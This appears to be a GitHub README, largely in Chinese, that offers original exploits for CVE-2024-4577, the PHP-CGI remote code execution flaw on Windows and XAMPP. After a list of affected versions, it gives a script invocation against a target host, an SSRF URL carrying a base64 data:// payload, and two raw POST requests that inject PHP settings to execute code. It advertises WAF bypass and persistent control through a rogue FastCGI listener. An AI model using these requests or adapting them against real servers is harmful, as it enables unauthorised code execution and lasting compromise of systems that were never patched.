- 全球首款利用PHP默认环境(XAMPP)的CVE-2024-4577 PHP-CGI RCE 漏洞 EXP。
- The world's first CVE-2024-4577 PHP-CGI RCE exploit utilizing the default PHP environment. Sharing original exploit, supports SSRF, supports WAF bypass.
- 实现PHP默认环境RCE。原理:
cgi.force_redirect
+REDIRECT-STATUS
。 - 新增原创EXP,支持绕过WAF场景的打法。原理:建立FastCGI服务端 + FastCGI协议通讯。
- 新增原创EXP,支持SSRF场景的打法。原理:data://协议 + GET请求。
- 无需
allow_url_include
、auto_prepend_file
、auto_append_file
即可RCE。可包含任意文件和php文件。 - 不会出现WAF经常拦截的关键词
allow_url_include
、auto_prepend_file
、auto_append_file
。 - FastCGI服务端的所有通讯不会被WAF记录。
- 监听新端口,因此实现持久化控制php服务端,独立于apache和php。
- 本不想发起这个仓库的,但发现目前安全行业太浮躁,文章乱发预警乱发,看到权威公众号就跟着乱转,无语。
- 乱转的POC均无法使用,需要人工编辑配置文件并在特定位置插入特定配置,却在正文说默认环境,无语。
- 披露的信息使用了
利用简单且危害大
词汇,但是截图里却显示并不默认的php 302跳转,无语。 - 因为不懂原理,提供的WAF拦截规则缺少
cgi.force_redirect
和REDIRECT-STATUS
,无语。 - 因为不懂原理,提供的WAF拦截规则只有
allow_url_include
和auto_prepend_file
,无语。 - Github很多CVE-2024-4577的POC都是缺少
cgi.force_redirect
和REDIRECT-STATUS
,无语。 - Github很多CVE-2024-4577的POC都是执行
echo("test")
,然后判断返回了test
字符串就认为有漏洞,无语。 - 以上后果是误导人,导致渗透小白满足于特殊环境复现,导致应急响应小白满足于低质量应对措施,无语。
- 共享4个全新的EXP,抛砖引玉提升一下业内应急响应过程的攻防思维,大家自行完善攻与防的方案。
- 希望各家头部安全公众号和网站可以做到真正的应急响应,而不是低质量无厘头转发。
- 你们用心了,群众才能放心地信任权威安全公众号/github,然后分享、复制、粘贴、转发权威消息 ( ^ ^ )。
信息 | 内容 |
---|---|
漏洞名称 | PHP RCE |
漏洞编号 | CVE-2024-4577 |
风险等级 | 高危 |
漏洞类型 | RCE |
利用难度 | 低 |
- PHP Windows版 8.3.0 <= 影响版本 < 8.3.8
- PHP Windows版 8.2.0 <= 影响版本 < 8.2.20
- PHP Windows版 8.1.0 <= 影响版本 < 8.1.29
- PHP Windows版 影响版本 == 8.0.x
- PHP Windows版 影响版本 == 7.x
- PHP Windows版 影响版本 == 5.x
- XAMPP Windows版 8.2.0 <= 影响版本 <= 8.2.12
- XAMPP Windows版 8.1.0 <= 影响版本 <= 8.1.25
- XAMPP Windows版 影响版本 == 8.0.x
- XAMPP Windows版 影响版本 == 7.x
- XAMPP Windows版 影响版本 == 5.x
可用于绕过WAF场景 + 默认场景:
python CVE-2024-4577-PHP-RCE.py PhpServerHost:PhpServerPort
例如:
python CVE-2024-4577-PHP-RCE.py 123.123.123.123:80
可用于SSRF场景 + 默认场景:
http://PhpServerHost:PhpServerPort/php-cgi/php-cgi.exe?%add+cgi.force_redirect%3dXCANWIN+-d+allow_url_include%3d1+-d+auto_prepend_file%3d"data:XCANWIN/XCANWIN;base64,PD9waHAgZGllKCJUZSIuInNUIik7Pz4g"
可用于默认场景:
POST /php-cgi/php-cgi.exe?%add+cgi.force_redirect%3dXCANWIN+%add+allow_url_include%3don+%add+auto_prepend_file%3dphp%3a//input HTTP/1.1
Host: PhpServerHost
<?php die("Te"."sT");?>
可用于默认场景:
POST /php-cgi/php-cgi.exe?%add+allow_url_include%3don+%add+auto_prepend_file%3dphp%3a//input HTTP/1.1
Host: PhpServerHost
REDIRECT-STATUS: XCANWIN
<?php die("Te"."sT");?>
- 服务端环境:
XAMPP Windows版 8.2.12
- 服务端下载并安装 XAMPP:
https://zenlayer.dl.sourceforge.net/project/xampp/XAMPP%20Windows/8.2.12/xampp-windows-x64-8.2.12-0-VS16-installer.exe?viasf=1
或者自主去这里挑受影响版本:https://sourceforge.net/projects/xampp/files/XAMPP%20Windows/
- 服务端配置
无需任何修改,保持默认配置
- 客户端使用EXP
使用上述EXP进行测试
- 验证
观察是否返回字符串 "TesT" 或者服务端system.ini文件内容